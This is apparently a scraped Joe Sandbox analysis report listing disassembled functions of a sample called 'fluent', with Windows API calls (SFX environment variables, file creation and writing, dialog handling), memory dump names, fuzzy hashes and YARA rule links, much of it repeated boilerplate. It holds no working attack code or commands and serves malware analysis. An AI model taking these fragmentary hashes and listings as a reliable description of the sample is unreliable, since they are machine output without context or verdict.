Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: InitializeMalloc
String ID: riched20.dll$3To
API String ID: 48681180-2168385784
Opcode ID: 70d2ddca905afed39bb9abb87b43df405a64d441449328adc70a0af60b9f6fac
Instruction ID: 9554d426c23f1b8aed4b1925d95af8321dae57b0e01eaa473d973db28a04032f
Opcode Fuzzy Hash: 70d2ddca905afed39bb9abb87b43df405a64d441449328adc70a0af60b9f6fac
Instruction Fuzzy Hash: 1EF067B5D0020DABCB50AFA9D9499EFFFFDEF85700F10811AE815E2251CBB856058FA1

Function 006FDBDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 006FDBF4

Strings

sfxpar, xrefs: 006FDC2B
sfxcmd, xrefs: 006FDBEF

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: eb87cd932189f899e314ff3abce37c4f30b02ff31cf88655030fdd8fe229da04
Instruction ID: 04e3f0826d0bb72ac6dfb67440509eb9c294b19ddf4aa9129383458c727ef435
Opcode Fuzzy Hash: eb87cd932189f899e314ff3abce37c4f30b02ff31cf88655030fdd8fe229da04
Instruction Fuzzy Hash: BCF0ECF240422CF7DB211F9C8C06BFA3BAFAF04B81B044415FF8596191E6F49980E6B4

Function 006FA6C2 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 100
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE(00000002,00000000), ref: 006FA72D

Part of subcall function 006FA626: 73526BB0.GDIPLUS(00000010), ref: 006FA62C

Strings

Fjuno, xrefs: 006FA762
PNG, xrefs: 006FA6C6

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: 73526AllocGlobal
String ID: Fjuno$PNG
API String ID: 91244330-2713423331
Opcode ID: 2d3fd8ba0e2232cca6d6ca7b455e36da0219d84909f021fd4212e04140936728
Instruction ID: c92b2981fdd9e02bf15fabbe8c98b220d006d8c363b38f6cfdac029079addc3f
Opcode Fuzzy Hash: 2d3fd8ba0e2232cca6d6ca7b455e36da0219d84909f021fd4212e04140936728
Instruction Fuzzy Hash: 3131D5B950070ABFC710AF65DC48DAB7FBAFF84760B008528F90982260EB35DC40DA65

Function 006E1E50 Relevance: 3.1, APIs: 2, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 006E1E55

Part of subcall function 006E3BBA: __EH_prolog.LIBCMT ref: 006E3BBF

_wcslen.LIBCMT ref: 006E1EFD

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: bb074b7df3a7b7ca2b8817a4e5f46e94c98cd06f1f9b7444d0bef7d9bdf6fab8
Instruction ID: f4c257abf863da5c5dcbf16fd836f9fb311b9b2237425166ebcdf4991a462ef2
Opcode Fuzzy Hash: bb074b7df3a7b7ca2b8817a4e5f46e94c98cd06f1f9b7444d0bef7d9bdf6fab8
Instruction Fuzzy Hash: 0D314871905249EFCF51DF99C945AEEBBF6AF09300F2000ADF845AB291CB365E11DB64

Function 006EA243 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000001,00000001,?,006EA23A,?,006EA2E9,00000001,00000001,?,?,006EA175,?,00000001,00000000,?,?), ref: 006EA254

Part of subcall function 006EBB03: _wcslen.LIBCMT ref: 006EBB27

GetFileAttributesW.KERNELBASE(?,00000001,?,00000800,?,006EA23A,?,006EA2E9,00000001,00000001,?,?,006EA175,?,00000001,00000000), ref: 006EA280

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 5c00b36f27779880afc6ba75067cea58529441d21c7b17f30c5cdb782bc1789c
Instruction ID: bc7a6e225e78d1d667ffd6be63e2c4b59857bd53c6c7916edaeb9ccb3fef0ea8
Opcode Fuzzy Hash: 5c00b36f27779880afc6ba75067cea58529441d21c7b17f30c5cdb782bc1789c
Instruction Fuzzy Hash: 91E092315002689BCF50AB68CC05BD97BAAAB0C3E1F048261FE54E32D0D771DE44CAA4

Function 006FDEC2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 006FDEEC

Part of subcall function 006E4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 006E40A5

SetDlgItemTextW.USER32(00000065,?), ref: 006FDF03

Part of subcall function 006FB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 006FB579
Part of subcall function 006FB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 006FB58A
Part of subcall function 006FB568: IsDialogMessageW.USER32(00010472,?), ref: 006FB59E
Part of subcall function 006FB568: TranslateMessage.USER32(?), ref: 006FB5AC
Part of subcall function 006FB568: DispatchMessageW.USER32(?), ref: 006FB5B6

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: 1313e2ff323314b72f6c164583e1cd7ed1e495c60254f4ec42cda3d4391a15ee
Instruction ID: f3dd55980a8ff512e7b189c6d65a5d249d1ba4d364e146107e87fa17131989cb
Opcode Fuzzy Hash: 1313e2ff323314b72f6c164583e1cd7ed1e495c60254f4ec42cda3d4391a15ee
Instruction Fuzzy Hash: 83E022B240038C26DF42BB61CC06FAE3B6E5B15385F044855B704EA0B2EA3EEA108629

Function 00702B8C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00702BAA
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00702BB5

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 1b52ac3bc0b67ecc6e061bc7f56b19cedb42349ad6eda50c7d7d2e3e0d3f5246
Instruction ID: 9e198a58a3dc47195de6ed90388758dfb4d870857507b6dda061f97166c1135a
Opcode Fuzzy Hash: 1b52ac3bc0b67ecc6e061bc7f56b19cedb42349ad6eda50c7d7d2e3e0d3f5246
Instruction Fuzzy Hash: 1ED0A7F7254200D4DC552A74280E55533C96D41770BA08386F420C54C3FE5C80436019

Function 006E12F1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 006E1306
ShowWindow.USER32(00000000), ref: 006E130D

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: bead7ad7c0d6b20cc954b902e0f02b0a32d9cd88040eb39053fe14a6b4aeac5c
Instruction ID: f71a84c7882a0deb94e4bf3d7fe1ee6525c4c937ac4f5356ec882a41d138c978
Opcode Fuzzy Hash: bead7ad7c0d6b20cc954b902e0f02b0a32d9cd88040eb39053fe14a6b4aeac5c
Instruction Fuzzy Hash: 84C0123A05C648BFCB010BB4DC09C2BBBA8ABA6312F04C90AB0A9C0060C33CC110DB11

Function 006E1A04 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 006E1A09

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 7b60fee91db0d3af0fdfb5e08897aa293e50469d3b8f1ade6d9df8597427d264
Instruction ID: 44b0cf226aa6b9a9ae543e86be000c4976ccd13f6462a0289ce7121218de3327
Opcode Fuzzy Hash: 7b60fee91db0d3af0fdfb5e08897aa293e50469d3b8f1ade6d9df8597427d264
Instruction Fuzzy Hash: 8FC1C230A013949FEF14DF29C888BE97BA6AF16310F1841B9EC46DF386DB349945DB61

Function 006E3BBA Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 006E3BBF

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 28a7460ed4ec16fb5b876d340b3c924e08b336ca173937b2da202f6877f716e9
Instruction ID: 3e178f14279836ae558d29e46fcfef68a69b30c248b8cb038c759f5d2dd6a629
Opcode Fuzzy Hash: 28a7460ed4ec16fb5b876d340b3c924e08b336ca173937b2da202f6877f716e9
Instruction Fuzzy Hash: 4C71D271502BD49ECB35DB71C8599E7B7EAAF14300F40092EE2AB87341DA326A84DF15

Function 006E9A74 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-00000870,00000000,00000800,?,006E9A50,?,?,00000000,?,?,006E8CBC,?), ref: 006E9BAB

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 6729e6d383b4699e17786c1e4abe70e756385b71e94466d70ec625d2e597d263
Instruction ID: f78d1a027f7180d39e6851987ba2a036e27a95a13e9c62b24345f37fa4722bff
Opcode Fuzzy Hash: 6729e6d383b4699e17786c1e4abe70e756385b71e94466d70ec625d2e597d263
Instruction Fuzzy Hash: D241BE706163818BDB24DF1AE5844ABB7E7FFE4310F148A6DE89183360E7B0AD458A65

Function 006E8284 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 006E8289

Part of subcall function 006E13DC: __EH_prolog.LIBCMT ref: 006E13E1

Part of subcall function 006EA56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 006EA598

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: 176d30619a74f376b8aa133e0b5b8cbe34ade6646c15dc4fa5c591117773cd41
Instruction ID: 4ab1b0529add4832b1c29cbfc475c8939d8b0703132f5ac1ddea884ca21571ac
Opcode Fuzzy Hash: 176d30619a74f376b8aa133e0b5b8cbe34ade6646c15dc4fa5c591117773cd41
Instruction Fuzzy Hash: 5A41E7719057989EDB20DBA1CC55AE9B3BAAF00304F4400EEE14E97193EB715FC9CB50

Function 006E98E0 Relevance: 1.6, APIs: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?), ref: 006E995F

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a2cd958ad05c26811c3d6909d2577e174f87310a05cb0d8a159b64ee710072c0
Instruction ID: ce11b4b4176d02b5ee4b60703ba5cccfe7df16fec2ade93c74ad77b18c62bba0
Opcode Fuzzy Hash: a2cd958ad05c26811c3d6909d2577e174f87310a05cb0d8a159b64ee710072c0
Instruction Fuzzy Hash: 6F3136305453856FE7309F25CC45BEABBD6BF04320F240B1DF9A0962D2D3B49944CBA4

Function 006E9F7A Relevance: 1.6, APIs: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,?,00000001,?,?,?,?,006ED343,00000001,?,?,?), ref: 006EA011

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: e0467d82578608f7458375974532efdae42853ade740552753ea2d3657aa75de
Instruction ID: 38a3eb121d46fe0104f9006c1ba8c98892374c06609232486df48e27c856d384
Opcode Fuzzy Hash: e0467d82578608f7458375974532efdae42853ade740552753ea2d3657aa75de
Instruction Fuzzy Hash: 4231BD3120A385AFDB14CF25D808BAA77A7FF84715F00491DF8819B290C775AE48CBA2

Function 006E13DC Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 006E13E1

Part of subcall function 006E5E37: __EH_prolog.LIBCMT ref: 006E5E3C

Part of subcall function 006ECE40: __EH_prolog.LIBCMT ref: 006ECE45

Part of subcall function 006EB505: __EH_prolog.LIBCMT ref: 006EB50A

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
